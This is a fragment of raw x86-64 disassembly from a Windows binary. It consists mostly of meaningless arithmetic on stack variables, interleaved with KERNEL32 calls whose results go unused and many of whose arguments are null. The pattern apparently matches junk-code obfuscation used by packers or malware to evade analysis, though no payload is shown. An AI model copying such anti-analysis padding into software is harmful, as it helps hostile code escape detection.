mov eax, ecx
mov dword [rsp + 0xd330], eax
lea rax, [rsp + 0xb6fc]
mov qword [rsp + 0x1acb8], rax
mov rax, qword [rsp + 0x1a328]
mov rcx, qword [rsp + 0x19cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad2c], eax
lea rax, [0x1402ad748]
mov qword [rsp + 0x1acc0], rax
movzx eax, byte [rsp + 0x636]
movzx ecx, byte [rsp + 0x797]
sub eax, ecx
mov byte [rsp + 0x796], al
lea rdx, [rsp + 0xd8ec]
mov rcx, qword [rsp + 0x1a388]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xddb4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd738], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36d0]
sar eax, cl
mov word [rsp + 0x2944], ax
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
mov dword [rsp + 0xddb8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd168], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198e0]
mov qword [rsp + 0x1acc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1acc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd3bc], eax
movsx eax, byte [rsp + 0x840]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402bcfe1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xddbc], eax
movsx eax, word [rsp + 0x371c]
movsx ecx, word [rsp + 0x36a8]
xor eax, ecx
mov word [rsp + 0x1d70], ax
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db4]
add eax, ecx
mov word [rsp + 0x1fa4], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81d]
imul eax, ecx
mov byte [rsp + 0x795], al
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xddc0], eax
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdb5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfac], eax
mov eax, dword [0x1402ad71c]
mov dword [rsp + 0xddc4], eax
mov rax, qword [rsp + 0x19938]
mov rcx, qword [rsp + 0x1a9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbcd4], eax
mov rax, qword [rsp + 0x1ab58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd628]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [0x1402bf410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x393c]
add eax, ecx
mov word [rsp + 0x1edc], ax
movzx eax, byte [rsp + 0x226]
movzx ecx, byte [rsp + 0x13f]
add eax, ecx
mov byte [0x1402bf61e], al
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd17c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a0b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd2d4]
mov dword [rsp + 0xddc8], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd694], eax
mov eax, dword [rsp + 0xce98]
mov dword [rsp + 0xddcc], eax
mov rax, qword [0x1402bf600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a9a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3744], ax
movzx eax, byte [rsp + 0x78a]
movzx ecx, byte [rsp + 0x80c]
and eax, ecx
mov byte [rsp + 0x7fa], al
lea rax, [rsp + 0x3a54]
mov qword [rsp + 0x1acd0], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0xb4]
sar eax, cl
mov rcx, qword [rsp + 0x1aba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [0x1402bf3a0], eax
mov eax, dword [rsp + 0xd238]
mov ecx, dword [rsp + 0xcff8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xbe00], eax
movzx eax, word [rsp + 0x3af4]
mov rcx, qword [rsp + 0x1a8e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x39e4], ax
movzx eax, byte [rsp + 0x805]
movzx ecx, byte [rsp + 0x809]
xor eax, ecx
mov byte [rsp + 0x81e], al
mov eax, dword [0x1402bf464]
mov dword [rsp + 0xddd0], eax
mov rax, qword [rsp + 0x19b08]
mov rcx, qword [rsp + 0x1a448]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd958], eax
lea rax, [rsp + 0x99e0]
mov qword [rsp + 0x1acd8], rax
mov eax, dword [rsp + 0xdbec]
mov ecx, dword [rsp + 0xdd68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd670], eax
movzx eax, byte [rsp + 0x18a]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7da], al
lea rcx, [rsp + 0x19cd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf588]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402ad8e4], ax
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
mov dword [rsp + 0xddd4], eax
mov rax, qword [rsp + 0x19f60]
mov rcx, qword [rsp + 0x19a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1abc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x929c]
mov dword [rsp + 0xddd8], eax
mov eax, dword [rsp + 0xd548]
mov ecx, dword [0x1402ad7e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89e4], eax
mov rax, qword [rsp + 0x1ab88]
mov rcx, qword [rsp + 0x19a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd9d8], eax
movsx eax, word [rsp + 0x3ab8]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1974], ax
mov rax, qword [rsp + 0x1a088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x1a618]
movzx eax, word [rax]
mov word [rsp + 0x3b40], ax
lea rdx, [rsp + 0x1ace0]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xdb04], eax
movzx eax, byte [rsp + 0x214]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402bf690], al
mov rax, qword [rsp + 0x1ac40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ebc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd204], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xdddc], eax
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd770], eax
movzx eax, byte [rsp + 0x7be]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a3], al
mov r9d, 2
lea r8, [rsp + 0x1a490]
mov rdx, qword [rsp + 0x1ace8]
mov rcx, qword [rsp + 0x1a7d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd6c0], eax
movzx eax, word [rsp + 0x36dc]
movzx ecx, word [rsp + 0x2db4]
sar eax, cl
mov word [rsp + 0x238c], ax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdd1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xc9bc], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd214]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce7c], eax
mov rax, qword [rsp + 0x1aad8]
mov eax, dword [rax]
mov dword [rsp + 0xdde0], eax
mov rax, qword [0x1402bf420]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1aad0]
mov qword [rsp + 0x1acf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1acf0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd0a8], eax
movzx eax, byte [rsp + 0x30c]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acc5f], al
movzx eax, word [rsp + 0x3610]
movzx ecx, word [rsp + 0x26a0]
and eax, ecx
mov word [rsp + 0x1cf0], ax
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov dword [rsp + 0xdde4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
mov rax, qword [rsp + 0x1a260]
mov ecx, dword [rsp + 0xad6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda98], eax
mov r9d, 2
lea r8, [rsp + 0x1a490]
mov rdx, qword [rsp + 0x1acf8]
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xdaac], eax
mov rax, qword [rsp + 0x1a8a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1ac50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7a6], al
movzx eax, word [rsp + 0x35f4]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x37f8], ax
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdcf0], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov byte [rsp + 0x8a9], al
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdde4], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xd9b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad708], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xda0c], eax
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov dword [rsp + 0xdde8], eax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xddec], eax
mov rax, qword [rsp + 0x1ac40]
mov rcx, qword [rsp + 0x1a448]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd8f8], eax
mov eax, dword [rsp + 0xd450]
mov ecx, dword [rsp + 0xdb30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee4], eax
mov rax, qword [0x1402bf490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a568]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1a188]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x30b8]
xor eax, ecx
mov word [rsp + 0x2070], ax
mov eax, dword [rsp + 0xd6dc]
mov dword [rsp + 0xddf0], eax
mov eax, dword [rsp + 0xd490]
movzx ecx, al
mov eax, dword [rsp + 0xb520]
shr eax, cl
mov dword [rsp + 0x8a04], eax
mov rax, qword [rsp + 0x1ac00]
mov eax, dword [rax]
mov dword [rsp + 0xddf4], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce3c]
shl eax, cl
mov dword [0x1402ad694], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd0e8], eax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x26a0]
or eax, ecx
mov word [rsp + 0x38ec], ax
movzx eax, byte [rsp + 0x7bb]
imul eax, eax, 0xf
mov rcx, qword [rsp + 0x1a600]
mov byte [rcx], al
movsx eax, byte [0x1402acb46]
movsx ecx, byte [rsp + 0x24e]
and eax, ecx
mov byte [rsp + 0x108], al
movsx eax, word [rsp + 0x3150]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a818]
mov word [rcx], ax
mov eax, dword [rsp + 0xbdbc]
mov dword [rsp + 0xddf8], eax
mov eax, dword [rsp + 0xd1d8]
mov ecx, dword [0x1402ad6a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf8], eax
movzx eax, word [rsp + 0x3994]
movzx ecx, word [rsp + 0x3a34]
sub eax, ecx
mov word [rsp + 0x386c], ax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
mov byte [rsp + 0x8aa], al
mov rax, qword [0x1402bf480]
mov eax, dword [rax]
mov dword [0x1402bf39c], eax
mov eax, dword [rsp + 0xcee4]
mov ecx, dword [rsp + 0xd478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf0], eax
mov eax, dword [rsp + 0xd048]
mov dword [rsp + 0xddfc], eax
mov rax, qword [rsp + 0x1a458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd8b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8700], eax
movzx eax, byte [rsp + 0x7a3]
movzx ecx, byte [rsp + 0x60a]
sub eax, ecx
mov rcx, qword [rsp + 0x19fb0]
mov byte [rcx], al
movzx eax, word [rsp + 0x3a34]
movzx ecx, word [0x1402bf61a]
sub eax, ecx
mov word [rsp + 0x2254], ax
mov rax, qword [rsp + 0x19e78]
mov ecx, dword [rsp + 0xd648]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce10], eax
mov eax, dword [rsp + 0xd8dc]
mov dword [rsp + 0xde00], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd740]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd700], eax
mov eax, dword [rsp + 0xaec4]
movzx ecx, al
mov eax, dword [rsp + 0xb7e4]
sar eax, cl
mov dword [0x1402ad8c8], eax
mov eax, dword [rsp + 0xd7b8]
mov dword [rsp + 0xde04], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movsx eax, byte [rsp + 0x7a0]
movsx ecx, byte [reloc.SHELL32.dll_ILFindChild]
or eax, ecx
mov byte [rsp + 0x83e], al
movsx eax, word [rsp + 0x3aa0]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19800]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a8e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3008], ax
movzx eax, byte [rsp + 0x86d]
movzx ecx, byte [rsp + 0x68f]
imul eax, ecx
mov byte [rsp + 0x78a], al
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xde08], eax
mov rax, qword [rsp + 0x1abd8]
mov rcx, qword [rsp + 0x1a5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdd8], eax
movzx eax, byte [rsp + 0x809]
mov rcx, qword [rsp + 0x1a9f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a1], al
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad8e8], ax
mov eax, dword [rsp + 0xaf04]
mov dword [rsp + 0xde0c], eax
mov rax, qword [rsp + 0x19f20]
mov ecx, dword [rsp + 0xd0d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd018], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [rsp + 0xb2dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc194], eax
mov rax, qword [rsp + 0x1a680]
mov rcx, qword [rsp + 0x1a3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd64c], eax
movzx eax, byte [rsp + 0x830]
movzx ecx, byte [rsp + 0x892]
and eax, ecx
mov byte [rsp + 0x831], al
movzx eax, word [rsp + 0x3a50]
mov word [rsp + 0x3b44], ax
mov eax, dword [rsp + 0xdaf8]
mov ecx, dword [rsp + 0xd704]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda34], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov dword [rsp + 0xde10], eax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf3c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402bf4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a818]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f80], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d7]
or eax, ecx
mov byte [rsp + 0x4d7], al
lea rdx, [rsp + 0x1ad00]
mov rcx, qword [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xdb04], eax
mov rax, qword [0x1402bf688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b14]
sar eax, cl
mov word [rsp + 0x38b4], ax
mov eax, dword [rsp + 0x8700]
mov ecx, dword [rsp + 0x9a7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb5c], eax
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov dword [rsp + 0xde14], eax
mov eax, dword [rsp + 0xdaf4]
mov rcx, qword [0x1402bf718]
mov qword [rsp + 0x1ad08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9148], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xde18], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x1a338]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8128], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcf24], eax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1aa20]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc66], al
mov rax, qword [0x1402bf3d0]
mov eax, dword [rax]
mov dword [rsp + 0xde1c], eax
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [rsp + 0x1ac90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb000], eax
mov eax, dword [rsp + 0xd474]
mov ecx, dword [0x1402ad7d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcff4], eax
movzx eax, word [rsp + 0x3b40]
movzx ecx, word [rsp + 0x1dcc]
add eax, ecx
mov word [rsp + 0x34ac], ax
movzx eax, byte [rsp + 0x7ce]
mov byte [rsp + 0x8ab], al
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x1a8a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x37dc], ax
movzx eax, byte [rsp + 0x862]
mov byte [rsp + 0x8ac], al
mov eax, dword [0x1402bf4fc]
mov ecx, dword [rsp + 0xdbc4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf528], eax
mov rax, qword [rsp + 0x1a140]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8fb0]
sar eax, cl
mov dword [rsp + 0xdb38], eax
movzx eax, byte [rsp + 0x818]
movzx ecx, byte [rsp + 0x2a9]
cdq
idiv ecx
mov byte [rsp + 0x816], al
lea rax, [rsp + 0x3688]
mov qword [rsp + 0x1ad10], rax
mov eax, dword [rsp + 0xd620]
mov rcx, qword [rsp + 0x19a48]
mov qword [rsp + 0x1ad18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8fec], eax
mov rax, qword [rsp + 0x1a680]
mov rcx, qword [rsp + 0x1a528]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbae0], eax
mov eax, dword [rsp + 0xce5c]
mov ecx, dword [0x1402ad680]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd58c], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xda50], eax
mov rax, qword [rsp + 0x1ac38]
mov eax, dword [rax]
mov dword [rsp + 0xde20], eax
mov rax, qword [rsp + 0x1aa18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a730]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x23c4]
and eax, ecx
mov word [0x1402ad8ec], ax
mov eax, dword [rsp + 0xdcd0]
mov ecx, dword [rsp + 0xd08c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e8], eax
mov eax, dword [rsp + 0xb998]
mov dword [rsp + 0xde24], eax
mov rax, qword [rsp + 0x1a678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd09c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce40], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ad20], rax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a78], eax
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19c00]
mov rcx, qword [rsp + 0x1ac38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xba70], eax
movsx eax, word [rsp + 0x3ab8]
movsx ecx, word [rsp + 0x2ce4]
sub eax, ecx
mov word [rsp + 0x378c], ax
mov rax, qword [rsp + 0x1a158]
movzx eax, byte [rax]
mov byte [rsp + 0x8ad], al
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22d]
sub eax, ecx
mov rcx, qword [rsp + 0x1a4f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
mov word [0x1402bf398], ax
mov eax, dword [rsp + 0xd1f8]
mov dword [rsp + 0xde28], eax
mov eax, dword [rsp + 0xaba8]
mov ecx, dword [rsp + 0xdd60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc18], eax
movzx eax, word [rsp + 0x2338]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x38ec], ax
movzx eax, byte [rsp + 0x829]
movzx ecx, byte [rsp + 0x85d]
and eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x1a6d8]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac04], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov dword [rsp + 0xde2c], eax
movzx ecx, word [rsp + 0x39c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3b10], ax
mov rax, qword [0x1402bf648]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd264]
shl eax, cl
mov dword [rsp + 0xdb90], eax
mov rax, qword [rsp + 0x1ac00]
mov rcx, qword [rsp + 0x1ab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb488], eax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x798]
sar eax, cl
mov byte [0x1402acbc2], al
movzx eax, word [0x1402ad704]
mov word [rsp + 0x3b48], ax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdd04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
mov eax, dword [rsp + 0xdbe0]
mov ecx, dword [rsp + 0xb7b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9310], eax
mov rax, qword [rsp + 0x1a470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3aa0], ax
mov rax, qword [rsp + 0x1aa98]
movzx eax, byte [rax]
mov byte [rsp + 0x8ae], al
mov rax, qword [rsp + 0x1aa18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7fa], al
movzx eax, word [0x1402ad724]
movzx ecx, word [rsp + 0x3b08]
add eax, ecx
mov word [rsp + 0x38cc], ax
mov rax, qword [rsp + 0x1a1b8]
mov eax, dword [rax]
mov dword [rsp + 0xde30], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xde34], eax
mov rax, qword [0x1402bf5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf4b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd5bc]
mov ecx, dword [rsp + 0xd340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdcc0], eax
mov eax, dword [rsp + 0xdd30]
mov dword [rsp + 0xde38], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19fb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3834]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x386c], ax
movzx ecx, word [rsp + 0x36d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x377c], ax
movzx eax, byte [rsp + 0x7b8]
movzx ecx, byte [rsp + 0x2a9]
sub eax, ecx
mov byte [rsp + 0x6c8], al
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xddd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd398], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xde3c], eax
mov rax, qword [rsp + 0x1a000]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xac7c]
shl eax, cl
mov dword [rsp + 0xdb10], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x838c]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad8f0], eax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18e8]
or eax, ecx
mov word [rsp + 0x3950], ax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov byte [rsp + 0x8af], al
movzx ecx, word [rsp + 0x3a78]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x397c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ee0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2f64], ax
mov rax, qword [0x1402bf670]
